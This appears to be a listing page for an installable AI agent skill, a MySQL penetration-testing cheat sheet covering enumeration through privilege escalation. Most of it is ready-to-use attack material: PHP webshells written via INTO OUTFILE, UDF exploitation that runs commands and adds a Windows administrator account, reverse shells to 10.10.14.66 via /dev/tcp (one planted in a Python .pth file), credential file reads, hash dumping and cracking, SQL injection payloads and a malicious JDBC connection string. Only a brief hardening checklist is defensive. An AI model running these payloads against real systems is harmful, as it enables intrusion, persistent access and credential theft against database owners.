# Pentesting Mysql

> MySQL Pentesting Skill

- Skill: `abelrguezr/pentesting-mysql` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/pentesting-mysql`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/pentesting-mysql/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/abelrguezr/pentesting-mysql

---


# MySQL Pentesting Skill

A comprehensive guide for MySQL database penetration testing, from initial enumeration to privilege escalation.

## Quick Start

```bash
# Basic connection
mysql -h <target> -u root -p

# Local socket connection
mysql -S /run/mysqld/mysqld.sock -u root

# Nmap enumeration
nmap -sV -p 3306 --script=mysql-audit,mysql-databases,mysql-enum,mysql-info,mysql-users <target>
```

## Phase 1: Initial Enumeration

### Connection Testing

**Local connections:**
```bash
mysql -u root                    # Try without password
mysql -u root -p                 # Prompt for password
mysql -S /run/mysqld/mysqld.sock # Local socket
```

**Remote connections:**
```bash
mysql -h <hostname> -u root
mysql -h <hostname> -u root@localhost
```

### Nmap Scripts

```bash
# Comprehensive MySQL enumeration
nmap -sV -p 3306 --script=
  mysql-audit,
  mysql-databases,
  mysql-dump-hashes,
  mysql-empty-password,
  mysql-enum,
  mysql-info,
  mysql-query,
  mysql-users,
  mysql-variables,
  mysql-vuln-cve2012-2122 <target>
```

### Metasploit Modules

```bash
# Version detection
use auxiliary/scanner/mysql/mysql_version

# Auth bypass hash dump
use auxiliary/scanner/mysql/mysql_authbypass_hashdump

# Hash dump (requires creds)
use auxiliary/scanner/mysql/mysql_hashdump

# Full enumeration (requires creds)
use auxiliary/admin/mysql/mysql_enum

# Schema dump (requires creds)
use auxiliary/scanner/mysql/mysql_schemadump

# Windows command execution (requires creds)
use exploit/windows/mysql/mysql_start_up
```

## Phase 2: Database Enumeration

### Basic Information

```sql
-- Version and user info
SELECT VERSION();
SELECT @@VERSION();
SELECT USER();
SELECT DATABASE();

-- List all databases
SHOW DATABASES;

-- List tables in current database
SHOW TABLES;

-- Describe table structure
DESCRIBE <table_name>;
SHOW COLUMNS FROM <table>;
```

### User and Privilege Enumeration

```sql
-- Current user privileges
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();
SHOW GRANTS FOR 'root'@'localhost';

-- All users and their privileges
SELECT * FROM mysql.user;

-- Users with FILE privilege (critical for exploitation)
SELECT user, file_priv FROM mysql.user WHERE file_priv='Y';

-- Users with SUPER privilege
SELECT user, Super_priv FROM mysql.user WHERE Super_priv='Y';

-- Custom privilege check
SELECT user, password, create_priv, insert_priv, update_priv, 
       alter_priv, delete_priv, drop_priv FROM mysql.user;
```

### Custom Functions

```sql
-- List all stored functions
SELECT routine_name FROM information_schema.routines 
  WHERE routine_type = 'FUNCTION';

-- Non-system functions
SELECT routine_name FROM information_schema.routines 
  WHERE routine_type = 'FUNCTION' 
  AND routine_schema != 'sys';
```

## Phase 3: File Operations

### Reading Files (requires FILE privilege)

```sql
-- Read a file
SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');

-- Read /etc/passwd
SELECT LOAD_FILE('/etc/passwd');
```

### Writing Files (requires FILE privilege)

```sql
-- Write PHP webshell
SELECT 1,2,"<?php echo shell_exec($_GET['c']);?>",4 
  INTO OUTFILE 'C:/xampp/htdocs/back.php';

-- Write to Linux
SELECT '<?php system($_GET["c"]); ?>' 
  INTO OUTFILE '/var/www/html/shell.php';
```

### INTO OUTFILE Limitations

- Cannot overwrite existing files
- Path is relative to MySQL's current working directory
- Use `../../` to navigate up directories
- Requires `secure_file_priv` to be empty or point to writable location

## Phase 4: Privilege Escalation

### Via User-Defined Functions (UDF)

**Prerequisites:**
- MySQL running as root or privileged user
- FILE privilege to write to plugin directory
- Ability to create functions

**Linux UDF Exploitation:**

```sql
-- Use mysql database
USE mysql;

-- Create table to hold library
CREATE TABLE npn(line blob);

-- Load the malicious library
INSERT INTO npn VALUES(LOAD_FILE('/tmp/lib_mysqludf_sys.so'));

-- Find plugin directory
SHOW VARIABLES LIKE '%plugin%';

-- Dump library to plugin directory
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';

-- Create the function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

-- Execute commands
SELECT sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```

**Windows UDF Exploitation:**

```sql
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(LOAD_FILE('C://temp//lib_mysqludf_sys.dll'));
SHOW VARIABLES LIKE '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```

**Windows Directory Creation Trick:**

```sql
-- Create directory using NTFS ADS when only file write is available
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
```

### Via Python .pth Files

**Requirements:**
- INTO OUTFILE access to Python site-packages directory
- Python CGI scripts that execute automatically

**Payload:**

```sql
-- Single line Python payload (no spaces)
SELECT 'import os,sys,subprocess,base64;subprocess.call("bash -c ''bash -i >& /dev/tcp/10.10.14.66/4444 0>&1''",shell=True)' 
  INTO OUTFILE '/var/lib/python3.10/site-packages/x.pth';
```

**Trigger:** Request any Python CGI script to execute the payload.

### Via LOAD DATA LOCAL INFILE

**Client-side file read:**

```sql
-- This causes the CLIENT to read the file and send to server
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test 
  FIELDS TERMINATED BY '\n';
```

**Note:** Requires `local_infile=1` on server and client support.

## Phase 5: Credential Extraction

### From Configuration Files

```bash
# Debian MySQL credentials
cat /etc/mysql/debian.cnf

# User MySQL config files
cat ~/.my.cnf
cat ~/.mylogin.cnf

# MySQL history
cat ~/.mysql.history
```

### From MySQL Data Files

```bash
# Extract hashes from user.MYD
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | \
  grep -v "mysql_native_password"
```

### From Database

```sql
-- Get all user hashes
SELECT user, authentication_string FROM mysql.user;

-- For older MySQL (password column)
SELECT user, password FROM mysql.user;
```

### Cracking Hashes

```bash
# Hashcat (mode 21100 for caching_sha2_password)
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist

# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```

## Phase 6: SQL Injection Techniques

### Information Schema Queries

```sql
-- Get all table names
UNION SELECT 1,2,3,4, GROUP_CONCAT(0x7c,table_name,0x7C) 
  FROM information_schema.tables;

-- Get column names for specific table
UNION SELECT 1,2,3,4,column_name 
  FROM information_schema.columns 
  WHERE table_name='<TABLE_NAME>';
```

### Binary Data Manipulation

```sql
-- Convert hex to binary
CONVERT(UNHEX("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)

-- Convert base64 to binary
CONVERT(FROM_BASE64("aG9sYWFhCg=="), BINARY)
```

## Phase 7: Local Enumeration (Post-Shell)

### Check MySQL Service User

```bash
# Check config for user setting
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"

# Check service status
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | \
  cut -d '=' -f2 | cut -d ' ' -f1
```

### Find Credentials and Sockets

```bash
# MySQL sockets
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null

# Credential files
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null

# Config analysis
grep -RNI -E '^(bind-address|skip-networking|socket)\b' \
  /etc/mysql /etc/my.cnf* 2>/dev/null
```

### Quick Posture Check

```bash
mysql -S /run/mysqld/mysqld.sock -u root -e "
  SHOW VARIABLES LIKE 'secure_file_priv';
  SHOW VARIABLES LIKE 'local_infile';
  SHOW GRANTS FOR CURRENT_USER();
" 2>/dev/null
```

## Phase 8: Recent Vulnerabilities (2023-2025)

### CVE-2023-21971: JDBC propertiesTransform RCE

**Affected:** MySQL Connector/J <= 8.0.32

**Exploit:**
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```

**Mitigation:** Upgrade to Connector/J 8.0.33+

### Rogue MySQL Server Attacks

**Tools:**
- `mysql-fake-server` (Java)
- `rogue_mysql_server` (Python)

**Attack flow:**
1. Victim connects to attacker-controlled MySQL server
2. Server sends crafted packets triggering LOCAL INFILE or deserialization
3. Achieve file read or RCE on victim

**Example:**
```bash
java -jar fake-mysql-cli.jar -p 3306
```

## Security Hardening Checklist

- [ ] Set `LOCAL_INFILE=0`
- [ ] Set `--secure-file-priv=/var/empty`
- [ ] Remove FILE privilege from application accounts
- [ ] Set `allowLoadLocalInfile=false` in Connector/J
- [ ] Set `autoDeserialize=false` in Connector/J
- [ ] Disable unused authentication plugins
- [ ] Require TLS: `require_secure_transport = ON`
- [ ] Monitor for: CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL

## Information Schema Reference

### Key Tables

| Database | Table | Purpose |
|----------|-------|--------|
| information_schema | TABLES | All tables across databases |
| information_schema | COLUMNS | Column definitions |
| information_schema | ROUTINES | Stored procedures and functions |
| information_schema | USER_PRIVILEGES | User privileges |
| mysql | user | User accounts and hashes |
| mysql | db | Database-level privileges |
| mysql | tables_priv | Table-level privileges |
| performance_schema | global_variables | Server variables |

## Useful Commands Reference

```bash
# Execute SQL from file
mysql -u username -p < commands.sql

# Execute single command
mysql -u root -h 127.0.0.1 -e 'SHOW DATABASES;'

# Get shell from MySQL client
\! sh

# Change MySQL root password
UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root';
FLUSH PRIVILEGES;
```

## Scripts

Use the bundled scripts for common tasks:

- `scripts/mysql_enum.sh` - Automated enumeration
- `scripts/mysql_priv_check.sh` - Privilege assessment
- `scripts/mysql_hash_extract.sh` - Hash extraction from files

## References

- [MySQL Privileges Documentation](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html)
- [HackTricks MySQL Pentesting](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html)
- [CVE-2023-21971 Snyk Write-up](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [Rogue MySQL Server PoC](https://github.com/allyshka/Rogue-MySql-Server)

